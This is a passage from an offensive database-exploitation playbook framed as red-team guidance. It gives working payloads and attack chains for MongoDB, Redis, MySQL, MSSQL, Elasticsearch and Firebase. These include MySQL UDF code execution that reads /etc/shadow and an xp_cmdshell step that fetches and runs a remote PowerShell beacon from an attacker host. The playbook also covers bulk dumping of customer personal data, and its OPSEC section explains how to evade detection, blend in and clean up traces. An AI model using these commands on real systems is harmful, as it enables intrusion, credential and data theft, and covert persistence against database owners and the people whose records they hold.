### NoSQL Injection Payloads (MongoDB)

```javascript
// JSON-based bypasses
{"$gt": ""}         // Greater than empty string
{"$ne": null}       // Not equal to null
{"$in": [""]}       // In array with empty string
{"$regex": ".*"}    // Match any regex

// Array bypass
{"username": {"$in": ["admin", "administrator"]}, "password": {"$ne": ""}}

// Where clause injection
{"$where": "this.username == 'admin'"}
{"$where": "sleep(5000) || true"}    // Time-based detection

// PHP-specific (when app uses PHP array syntax)
username[$ne]=&password[$ne]=
username[$regex]=.*&password[$regex]=.*

// JavaScript injection in $where
{"$where": "function() { return true; }"}
```

### Redis Exploitation Payloads

```bash
# Lua scripting for data exfiltration (when CONFIG is restricted)
redis-cli -h $TARGET_IP EVAL "return redis.call('keys','*')" 0

# Load module for RCE (Redis 4+)
redis-cli -h $TARGET_IP MODULE LOAD /tmp/malicious.so

# SLAVEOF for rogue master attack
redis-cli -h $TARGET_IP SLAVEOF $LHOST 6379

# Write arbitrary file via RESTORE command (bypass CONFIG restrictions)
redis-cli -h $TARGET_IP RESTORE target_key 0 "\x00\x04data\n\r"
```

---

## Real-World Attack Scenarios

### Scenario 1: Internal Network Database Takeover

**Context:** You've obtained VPN access or pivoted into an internal network segment during a red team engagement. Database servers are accessible without firewall restrictions.

**Attack Chain:**
```bash
# Phase 1: Discovery
nmap -sV -p 1433,3306,5432,27017,6379 10.10.0.0/24 -oG $OUTDIR/db-sweep.txt
grep "open" $OUTDIR/db-sweep.txt | grep -E "mysql|mssql|postgres|mongodb|redis"

# Phase 2: Default credential spray
# MySQL
for host in $(grep "3306/open" $OUTDIR/db-sweep.txt | awk '{print $2}'); do
    mysql -h $host -u root --connect-timeout=3 -e "SELECT 1;" 2>/dev/null && \
    echo "[VULN] MySQL no-auth on $host" | tee -a $OUTDIR/findings.txt
done

# Redis (no auth)
for host in $(grep "6379/open" $OUTDIR/db-sweep.txt | awk '{print $2}'); do
    result=$(redis-cli -h $host --connect-timeout 2 ping 2>/dev/null)
    [ "$result" = "PONG" ] && echo "[VULN] Redis no-auth on $host" >> $OUTDIR/findings.txt
done

# Phase 3: Exploitation - MySQL UDF RCE
TARGET="10.10.0.50"
mysql -h $TARGET -u root -e "
    SET @udf = load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so');
    SELECT @udf INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
    SELECT sys_eval('id');
    SELECT sys_eval('cat /etc/shadow');
"

# Phase 4: Lateral movement via credentials found in DB
mysql -h $TARGET -u root -e "SELECT user, password FROM mysql.user;" > $OUTDIR/db-creds.txt
# Use found creds to access other systems
```

### Scenario 2: Web Application SQLi to OS Shell

**Context:** Web application has a login form vulnerable to SQL injection. Target is running MSSQL on Windows Server.

**Attack Chain:**
```bash
# Phase 1: Confirm SQLi
sqlmap -u "https://app.target.com/login" \
    --data="username=admin&password=test" \
    --level=5 --risk=3 \
    --batch \
    --dbms=mssql

# Phase 2: Fingerprint and enumerate
sqlmap -u "https://app.target.com/login" \
    --data="username=admin&password=test" \
    --current-user --current-db --is-dba \
    --batch --dbms=mssql

# Phase 3: Extract credentials first (for evidence)
sqlmap -u "https://app.target.com/login" \
    --data="username=admin&password=test" \
    -D ApplicationDB -T Users --dump \
    --batch --dbms=mssql

# Phase 4: Enable xp_cmdshell via SQLMap
sqlmap -u "https://app.target.com/login" \
    --data="username=admin&password=test" \
    --os-shell --batch --dbms=mssql

# Phase 5: Manual xp_cmdshell if sqlmap fails
# Payload: '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --
# Then: '; EXEC xp_cmdshell 'whoami'; --

# Phase 6: Establish persistent access
# Via sqlmap os-shell:
# xp_cmdshell 'powershell -c "IEX(IWR http://LHOST/beacon.ps1)"'
```

### Scenario 3: Cloud Misconfiguration — Firebase and Elasticsearch

**Context:** Target company has an exposed Firebase Realtime Database and an Elasticsearch instance visible from the internet (found via Shodan).

**Attack Chain:**
```bash
# Phase 1: Shodan discovery (during OSINT)
shodan search "port:9200 product:elasticsearch org:TARGET"
shodan search "firebase.io hostname:target"

# Phase 2: Elasticsearch enumeration
ES_HOST="1.2.3.4"
curl -s "http://$ES_HOST:9200/_cat/indices?v" | column -t

# Identify juicy indices
curl -s "http://$ES_HOST:9200/_cat/indices?v" | grep -iE "user|customer|order|payment|log|event"

# Extract 10,000 records for evidence
curl -s "http://$ES_HOST:9200/customers/_search?size=10000" \
    -H "Content-Type: application/json" \
    -d '{"query": {"match_all": {}}, "_source": ["email","name","phone","address"]}' \
    | jq '.hits.hits[]._source' > $OUTDIR/customer-data.json

wc -l $OUTDIR/customer-data.json
echo "[IMPACT] $(cat $OUTDIR/customer-data.json | jq '. | select(.email != null)' | wc -l) email addresses exposed"

# Phase 3: Firebase
FIREBASE_PROJECT="target-app"
curl -s "https://$FIREBASE_PROJECT.firebaseio.com/.json?shallow=true" | jq 'keys'

# Download sensitive collections
for collection in users orders messages payments; do
    curl -s "https://$FIREBASE_PROJECT.firebaseio.com/$collection.json" \
        -o $OUTDIR/firebase-$collection.json
    count=$(cat $OUTDIR/firebase-$collection.json | jq 'length' 2>/dev/null || echo "N/A")
    echo "[+] $collection: $count records"
done

# Phase 4: Document impact
echo "=== IMPACT SUMMARY ===" > $OUTDIR/impact-report.txt
echo "Elasticsearch: $(curl -s 'http://$ES_HOST:9200/_cat/count?v' | tail -1 | awk '{print $3}') total documents exposed" >> $OUTDIR/impact-report.txt
echo "Firebase: $(cat $OUTDIR/firebase-users.json | python3 -c 'import json,sys; d=json.load(sys.stdin); print(len(d) if isinstance(d,dict) else 0)') user records exposed" >> $OUTDIR/impact-report.txt
```

---

## Detection and OPSEC Considerations

### Detection Signatures to Avoid

```
# MySQL UDF - these generate audit log entries:
CREATE FUNCTION
LOAD_FILE
INTO DUMPFILE/OUTFILE
SELECT sys_exec/sys_eval

# MSSQL - monitored events:
sp_configure 'xp_cmdshell'
EXEC xp_cmdshell
sp_add_job / sp_add_jobstep

# PostgreSQL - logged by default:
COPY TO PROGRAM
lo_import / lo_export

# Redis - monitored commands:
CONFIG SET dir
CONFIG SET dbfilename
SLAVEOF
MODULE LOAD
```

### OPSEC Techniques

```bash
# 1. Throttle requests to avoid rate limiting and IDS alerts
# Add delays between commands
for query in "${queries[@]}"; do
    mysql -h $TARGET -u root -p -e "$query"
    sleep $((RANDOM % 5 + 2))   # 2-7 second random delay
done

# 2. MySQL: Use existing functions rather than creating new ones
# Check if UDF already exists
mysql -h $TARGET -u root -p -e "SELECT name FROM mysql.func WHERE name='sys_eval';"

# 3. MSSQL: Use existing jobs instead of creating new ones
sqlcmd -S $TARGET -U sa -P 'password' -Q "SELECT name FROM msdb.dbo.sysjobs"

# 4. Work during business hours to blend with normal DB activity
# 5. Use legitimate DB accounts when found (avoids failed login alerts)

# 6. Limit data extraction volume
# Extract a sample rather than full dump
curl -s "http://$TARGET_IP:9200/INDEX/_search?size=10"  # Not size=100000

# 7. Clean up artifacts after exploitation
# Remove UDF functions
mysql -h $TARGET -u root -p -e "DROP FUNCTION IF EXISTS sys_exec;"
# Remove cron entries written via Redis
redis-cli -h $TARGET del cronpayload

# 8. Use SSL/TLS connections where available (avoid cleartext on wire)
mysql -h $TARGET -u root -p --ssl-mode=REQUIRED -e "SELECT 1;"
psql "sslmode=require host=$TARGET user=postgres"

# 9. Elasticsearch - avoid bulk operations that generate large log entries
# Use _search with small size instead of _bulk or scroll for initial recon

# 10. SQLMap evasion options
sqlmap -u "TARGET" --tamper=space2comment,between,randomcase \
    --delay=2 --timeout=30 --retries=3 \
    --random-agent \
    --level=2 --risk=1    # Lower levels = less noise
```

### Indicators of Compromise Generated

| Database | IOC Generated | Severity |
|----------|--------------|----------|
| MySQL | New entries in mysql.func table | High |
| MySQL | Unusual LOAD_FILE / INTO OUTFILE queries | High |
| PostgreSQL | COPY TO PROGRAM in pg_stat_activity | High |
| MSSQL | xp_cmdshell configuration changes | Critical |
| MSSQL | New SQL Agent jobs | High |
| MongoDB | Authentication failures | Medium |
| Redis | CONFIG SET commands in slowlog | High |
| Elasticsearch | Unusual index access patterns | Low |
| Firebase | Unusual geographic access patterns | Medium |

---

## Output and Documentation

### Evidence Collection Template

```bash
#!/bin/bash
# run at start of DB exploitation phase

mkdir -p $OUTDIR/{screenshots,raw-output,credentials,files}

# Log all commands with timestamps
exec > >(tee -a $OUTDIR/session-$(date +%H%M%S).log)
exec 2>&1

echo "[$(date -u)] Starting database exploitation phase"
echo "Target: $TARGET_IP"
echo "Operator: $USER"
echo "=========================="
```

### Required Documentation Per Finding

```markdown
## Finding: [DB Type] - [Vulnerability Type]

**Severity:** Critical/High/Medium/Low
**Target:** IP:PORT
**Database:** DB_NAME
**User:** DB_USERNAME

### Evidence
- Command executed: `[exact command]`
- Output: [first 10 lines of output]
- Screenshot: [path to screenshot]

### Impact
- Data exposed: [types and volume]
- RCE achieved: Yes/No
- Persistence established: Yes/No
- Lateral movement possible: Yes/No

### Affected Data
- Record count: [N]
- Data types: [PII/credentials/business data]
- Sample (redacted): [REDACTED - see raw file]

### Remediation
1. [Specific fix]
2. [Specific fix]
```

### Automated Evidence Collection

```bash
# MySQL - collect evidence
mysql -h $TARGET -u root -p << 'EOF' | tee $OUTDIR/mysql-evidence.txt
SELECT @@version, @@version_compile_os, @@hostname;
SELECT user, host, authentication_string FROM mysql.user;
SHOW DATABASES;
SELECT @@secure_file_priv, @@plugin_dir;
SELECT name FROM mysql.func;
EOF

# MSSQL - collect evidence
sqlcmd -S $TARGET -U sa -P 'password' -Q "
SELECT @@version;
SELECT name, sysadmin, securityadmin FROM sys.syslogins;
SELECT * FROM sys.configurations WHERE name IN ('xp_cmdshell','show advanced options');
SELECT name FROM msdb.dbo.sysjobs;
SELECT * FROM sys.servers WHERE is_linked=1;
" -o $OUTDIR/mssql-evidence.txt

# Elasticsearch - collect evidence
curl -s "http://$TARGET_IP:9200/_cluster/health" > $OUTDIR/es-health.json
curl -s "http://$TARGET_IP:9200/_cat/indices?format=json" > $OUTDIR/es-indices.json
curl -s "http://$TARGET_IP:9200/_nodes/stats" > $OUTDIR/es-nodes.json

# Redis - collect evidence
{
  echo "=== Redis Server Info ==="
  redis-cli -h $TARGET_IP info server
  echo "=== Config ==="
  redis-cli -h $TARGET_IP config get dir
  redis-cli -h $TARGET_IP config get dbfilename
  redis-cli -h $TARGET_IP config get requirepass
  echo "=== Keys (first 100) ==="
  redis-cli -h $TARGET_IP keys '*' | head -100
} > $OUTDIR/redis-evidence.txt
```

---

## Resources

### Official Documentation and References

- MySQL UDF: https://dev.mysql.com/doc/extending-mysql/8.0/en/adding-loadable-function.html
- PostgreSQL COPY: https://www.postgresql.org/docs/current/sql-copy.html
- MSSQL xp_cmdshell: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql
- MongoDB Security: https://www.mongodb.com/docs/manual/security/

### Exploitation Tools and Resources

```
SQLMap:             https://github.com/sqlmapproject/sqlmap
PowerUpSQL:         https://github.com/NetSPI/PowerUpSQL
MySQL UDF lib:      https://github.com/mysqludf/lib_mysqludf_sys
NoSQLMap:           https://github.com/codingo/NoSQLMap
Redis Rogue Server: https://github.com/n0b0dyCN/redis-rogue-server
Redis RCE:          https://github.com/Ridter/redis-rce
ElasticSearch Dump: https://github.com/elasticsearch-dump/elasticsearch-dump
firebaseEnum:       https://github.com/Brum3ns/firebaseEnum
Impacket (MSSQL):  https://github.com/SecureAuthCorp/impacket
```

### Research and Write-ups

```
MySQL UDF RCE:
  https://infosecwriteups.com/privilege-escalation-in-mysql-from-sql-injection-to-rce-a0b31fc3a2d4

PostgreSQL COPY PROGRAM:
  https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767

MSSQL xp_cmdshell:
  https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server

MongoDB NoSQL Injection:
  https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection

Redis Exploitation:
  https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
  https://github.com/vulhub/vulhub/tree/master/redis

Elasticsearch Security:
  https://www.elastic.co/guide/en/elasticsearch/reference/current/secure-cluster.html

Firebase Security Rules:
  https://firebase.google.com/docs/rules
  https://github.com/Brum3ns/firebaseEnum
```

### HackTricks References (offline-friendly)

```
https://book.hacktricks.xyz/pentesting-web/sql-injection
https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server
https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
https://book.hacktricks.xyz/network-services-pentesting/9200-pentesting-elasticsearch
https://book.hacktricks.xyz/network-services-pentesting/27017-27018-mongodb
```

### CVEs by Database

```
MySQL:
  CVE-2016-6662 - MySQL 5.x arbitrary file overwrite via my.cnf
  CVE-2016-6663 - MySQL race condition privilege escalation

PostgreSQL:
  CVE-2019-9193 - COPY TO/FROM PROGRAM available to superuser
  CVE-2016-5423 - Privilege escalation via nested CASE expressions

MSSQL:
  CVE-2012-0158 - Remote code execution
  CVE-2018-8273 - Buffer overflow in SQL Server

Elasticsearch:
  CVE-2014-3120 - Remote code execution via dynamic script evaluation
  CVE-2015-1427 - Groovy sandbox escape (Kibana RCE)
  CVE-2021-22145 - Memory disclosure

Redis:
  CVE-2022-0543 - Debian/Ubuntu Lua sandbox escape (RCE)
  CVE-2021-32761 - Integer overflow in GETDEL command

MongoDB:
  CVE-2013-1892 - Remote code execution via JavaScript
  CVE-2021-20331 - Exposure of sensitive information
```
